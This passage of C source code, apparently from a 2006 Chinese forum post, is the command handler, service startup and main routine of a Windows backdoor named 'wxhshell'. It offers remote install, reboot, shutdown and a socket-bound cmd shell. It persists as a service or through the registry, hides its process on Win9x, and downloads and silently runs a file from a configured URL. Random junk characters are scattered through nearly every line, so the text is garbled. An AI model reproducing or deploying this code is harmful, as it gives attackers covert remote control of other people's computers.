    switch(cmd[0]) { 8De `.!Gg  
  @F3d9t-  
  // 帮助 HH+rib'u  
  case '?': { u{H_q&1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =A!I-@]q<  
    break; @&EP& $*  
  } VJ=!0v  
  // 安装 X0!48fL*  
  case 'i': { \H" (*["&  
    if(Install()) Q|xPm:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?C $_?Qi  
    else Q'A->I<;_s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pn =S%Qf]  
    break; ^8MgNVoJ)  
    } VFYJXR{  
  // 卸载 Nm; ka&'  
  case 'r': { JT_#>',  
    if(Uninstall()) %"KBX~3+Kj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mS%D" e  
    else aX~iY ~?_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SnXYq 7`t  
    break; @NyCMe;]  
    } .5I1wRN49  
  // 显示 wxhshell 所在路径 wwp vmb  
  case 'p': { kXOlZ C  
    char svExeFile[MAX_PATH]; \7/xb{z|  
    strcpy(svExeFile,"\n\r"); 0&mz'xra  
      strcat(svExeFile,ExeFile); 4Yn*q~f  
        send(wsh,svExeFile,strlen(svExeFile),0); Y.}n,y|J}  
    break; (TY^ kySr  
    } 3b[_0  
  // 重启 xknP `T  
  case 'b': { _C*}14 "3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XDI@ mQmzB  
    if(Boot(REBOOT)) FD`V39##  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i^gzl_!  
    else { Af -{'  
    closesocket(wsh); ^$T>3@rDB  
    ExitThread(0); TI*uNS;-  
    } rsc8lSjH  
    break; GJ((eAS)  
    } e8gD(T  
  // 关机 2smLv1w@  
  case 'd': { 5q8bM.k\7N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XGO_n{ x  
    if(Boot(SHUTDOWN)) A!j&g(Z"Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cy}2~w&s4  
    else { y t<K!=7&  
    closesocket(wsh); 4{J%`H`Q!  
    ExitThread(0); Z&21gN  
    } Wm"W@LPx5  
    break; IPY@9+]  
    } /[us;=CM  
  // 获取shell 2?m'Dy'JE  
  case 's': { :Tjo+vw7$H  
    CmdShell(wsh); ikofJl]9  
    closesocket(wsh); {j^}"8GB  
    ExitThread(0); ,7/N=mz  
    break; JM!o(zbt  
  } gN(8T_r  
  // 退出 #|gt(p]C  
  case 'x': { 2>UyA.m0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tt`b+NOH>  
    CloseIt(wsh); 3 D+dM0wM  
    break; 8-po|  
    } ft$/-;  
  // 离开 g8B@M*JA  
  case 'q': { 3 UBG?%!$f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SFh6'v'1N@  
    closesocket(wsh); { \Q'eL8  
    WSACleanup(); WF:i}+g+^  
    exit(1); VV?KJz=,W=  
    break; z?+N3p9  
        } }t]CDa_n  
  } 'GNT'y_  
  } /tV)8pEj  
yyBy|7QgO  
  // 提示信息 eyUo67'7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  4INO .  
}  @4H*kA  
  } Q;`#ujxL  
6R#f 8  
  return; sH#UM(N  
} S^~GI$  
qL3*H\9N  
// shell模块句柄 MT|}[|_  
int CmdShell(SOCKET sock) rbs:qLa%  
{ N0/DPZX7  
STARTUPINFO si; q*-q5FE  
ZeroMemory(&si,sizeof(si)); ci|6SaY*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l*/I ; a$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7X1T9'j I2  
PROCESS_INFORMATION ProcessInfo; /1g_Uv;  
char cmdline[]="cmd"; *y F 9_\n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q]<cn2  
  return 0; lS9rgq<n  
} %5a>@K]  
NtSa# $A  
// 自身启动模式 >8HcCG  
int StartFromService(void) hesL$Z [  
{ fnwtD *``  
typedef struct l *.#g  
{ hcwKi  
  DWORD ExitStatus; h_Q9 c  
  DWORD PebBaseAddress; hQPiGIs  
  DWORD AffinityMask; PJS\> N&u  
  DWORD BasePriority; %Q rf ]  
  ULONG UniqueProcessId; h0d;a  
  ULONG InheritedFromUniqueProcessId; : xB<Rq  
}   PROCESS_BASIC_INFORMATION; i5q VQo  
iIA&\'|;i  
PROCNTQSIP NtQueryInformationProcess; 591Syyy  
Mb uD8B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GnkNoaU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i4&"-ujrm  
LZ}C{M{=5A  
  HANDLE             hProcess; U,~\}$<I  
  PROCESS_BASIC_INFORMATION pbi; BUuNI_?M#5  
|Fm(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'eZ UNX  
  if(NULL == hInst ) return 0; Kbrb;r59  
9v8{JaI3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M)#aX|%Mh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Bc`jkO.q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pMKnA. |  
#jv~FR`4v^  
  if (!NtQueryInformationProcess) return 0; 8dNwi&4  
V*2uW2\}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a4Fe MCvV9  
  if(!hProcess) return 0; >PGW>W$  
Cpz'6F^oP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bO8g#rO  
,dLh`t<\  
  CloseHandle(hProcess); nK)U.SZ  
D ]:sR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #ih(I7prH  
if(hProcess==NULL) return 0; P=OHiG\z  
yn)K1f^  
HMODULE hMod; hjtkq .@  
char procName[255]; ` <cB 6  
unsigned long cbNeeded; "k o?AUt  
s=h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @bSxT,2  
^y]CHr  
  CloseHandle(hProcess); @7e h/|Y,  
?| s1Cuc  
if(strstr(procName,"services")) return 1; // 以服务启动 q;3.pRw(  
3&^4%S{/  
  return 0; // 注册表启动 R'`q0MoN1  
} *Fi`o_d9[`  
<Wn={1Ts"  
// 主模块 y1GVno  
int StartWxhshell(LPSTR lpCmdLine) ;Kob]b  
{ M_<O'Ii3  
  SOCKET wsl; e C?adCb  
BOOL val=TRUE; i<@6f'Kir  
  int port=0; dbQUW#<Q  
  struct sockaddr_in door; sKVN*8ia  
]3u ErnI  
  if(wscfg.ws_autoins) Install(); q\cH+n)C  
w7 @fiH{  
port=atoi(lpCmdLine); ACxOC2\n  
^V#9{)B  
if(port<=0) port=wscfg.ws_port; .&:y+Oww~  
D~E1hr&Vd>  
  WSADATA data; ViIt 'WX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]r8t^bqe  
_w0t+=&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +P:xB0Tm D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qpjtF'  
  door.sin_family = AF_INET; W ZdEfY{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,K'>s<}  
  door.sin_port = htons(port); N3nFE:`u]  
bw\fKZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZG:#r\a  
closesocket(wsl); r2M Iw  
return 1; = _X#JP79  
} ofH=h  
A{3Aw|;  
  if(listen(wsl,2) == INVALID_SOCKET) { _H@Y%"ZHJ6  
closesocket(wsl); /T1z z2l~  
return 1; ^}7iouE C  
} v6(Yz[  
  Wxhshell(wsl); dfl| 6R  
  WSACleanup(); sLrSi  
AlT41v~6  
return 0; 03$-U0.;-  
&D0suK#  
} VOr*YB&  
y=7WnQc  
// 以NT服务方式启动 ]wFKXZeK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^L#\z7  
{ ~'>RK  
DWORD   status = 0; v'gP,UO-%D  
  DWORD   specificError = 0xfffffff; +EK(r@eV  
z(V?pHv+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; & 9X`tCnL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )NAC9:8!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M0VC-\W7f  
  serviceStatus.dwWin32ExitCode     = 0; Jf6u E?.  
  serviceStatus.dwServiceSpecificExitCode = 0; XN65bq  
  serviceStatus.dwCheckPoint       = 0; 65X31vU  
  serviceStatus.dwWaitHint       = 0; 9DcUx-   
OjO$.ecT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;sJUTp5\h  
  if (hServiceStatusHandle==0) return; <q|IP_  
7xz~%xC.  
status = GetLastError(); _%^t[4)q  
  if (status!=NO_ERROR) C/V{&/5w  
{ gSLwpIK%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dayp1%d  
    serviceStatus.dwCheckPoint       = 0; mw0#Dhyy1=  
    serviceStatus.dwWaitHint       = 0; / !J1}S  
    serviceStatus.dwWin32ExitCode     = status; ;ELQIHnD"  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y8!T4dkn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oEPO0O  
    return; ^@f%A<  
  } FD>j\  
\;AW/& Ea  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kw)@[1U  
  serviceStatus.dwCheckPoint       = 0; 3l5rUjRwj  
  serviceStatus.dwWaitHint       = 0; l*]9   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GBOz,_pw  
} HRS|VC$tz  
2_Me 4  
// 处理NT服务事件,比如:启动、停止 rx`G* k{X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "j|}-a  
{ 5<Mht6"H  
switch(fdwControl) Cr0 \7  
{ E-h`lDoJ  
case SERVICE_CONTROL_STOP: sX53(|?*  
  serviceStatus.dwWin32ExitCode = 0; fq-$u;~h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G#n99X@-  
  serviceStatus.dwCheckPoint   = 0; H{|a+  
  serviceStatus.dwWaitHint     = 0; s '%KKC  
  { )US|&> o8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u*_I7.}9  
  } XvBEC_xWZ  
  return; 9D74/3b*  
case SERVICE_CONTROL_PAUSE:  |F5^mpU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =w &%29BYq  
  break; ]:TX> X!  
case SERVICE_CONTROL_CONTINUE: pKK&+umg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *0bbSw1kc  
  break; 5wXe^G  
case SERVICE_CONTROL_INTERROGATE: 7Cf%v`B4D  
  break; W"9iFj X  
}; .N~qpynY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TSu^.K  
} E\!:MCL  
KLBV(`MS  
// 标准应用程序主函数 pNpj, H*4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -eAo3  
{ $IUP;  
X'N 4a  
// 获取操作系统版本 1xK'T_[  
OsIsNt=GetOsVer(); [;B_ENV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i gzISYC_  
aM'0O![d  
  // 从命令行安装 5r/QPJ<h  
  if(strpbrk(lpCmdLine,"iI")) Install(); N]cGJU>$  
]7kq@o/7  
  // 下载执行文件 b7fP)nb695  
if(wscfg.ws_downexe) { 'qLk"   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AEkgm^t.{  
  WinExec(wscfg.ws_filenam,SW_HIDE); :6LOb f\01  
} 6 .DJR Y  
&rj6<b1A  
if(!OsIsNt) { qS{lay  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?!(/;RU1  
HideProc(); (\FjbY9&  
StartWxhshell(lpCmdLine); 8 g'9( )&  
} QQ@, v@j5  
else 'T[=Uuj"  
  if(StartFromService()) Jl3l\I'  
  // 以服务方式启动 E*Vx^k$  
  StartServiceCtrlDispatcher(DispatchTable); oMda)5 &  
else ri~dWx  
  // 普通方式启动 M0o=bYI  
  StartWxhshell(lpCmdLine); (omdmT%D  
6,  ag\  
return 0; tjkY[  
}
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只看该作者 1 发表于: 2006-10-10
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